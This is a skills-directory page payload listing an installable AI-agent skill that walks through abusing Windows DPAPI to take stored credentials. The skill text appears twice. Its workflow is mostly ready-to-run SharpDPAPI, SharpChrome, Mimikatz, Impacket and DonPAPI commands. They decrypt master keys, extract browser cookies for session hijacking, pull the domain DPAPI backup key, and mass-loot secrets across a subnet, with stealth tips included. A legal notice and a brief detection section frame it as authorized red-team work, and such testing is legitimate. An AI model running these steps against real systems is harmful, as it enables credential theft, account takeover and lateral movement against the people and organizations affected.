[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E20F8SPPHNZCVBJYHTESG3":3,"skill-same:01M7E20F8SPPHNZCVBJYHTESG3":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":6,"ownerDescription":48,"updatedAt":49,"install":50,"resources":63},"01M7E20F8SPPHNZCVBJYHTESG3","abusing-dpapi-for-credential-access",null,"Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n","# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"red-team","credential-access","dpapi","sharpdpapi","post-exploitation","active-directory","windows","mimikatz","mahipal","cybersecurity","1.0",[38],"DE.CM-01","red-teaming",[41],"T1555.004","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill abusing-dpapi-for-credential-access",{"tool":56,"command":57},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill abusing-dpapi-for-credential-access",{"tool":59,"command":60},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill abusing-dpapi-for-credential-access","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",true,[64,68,74,78],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",3360,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fstandards.md",1886,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fstandards.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",6285,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Fscripts\u002Fagent.py",[85,93,101,109,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview 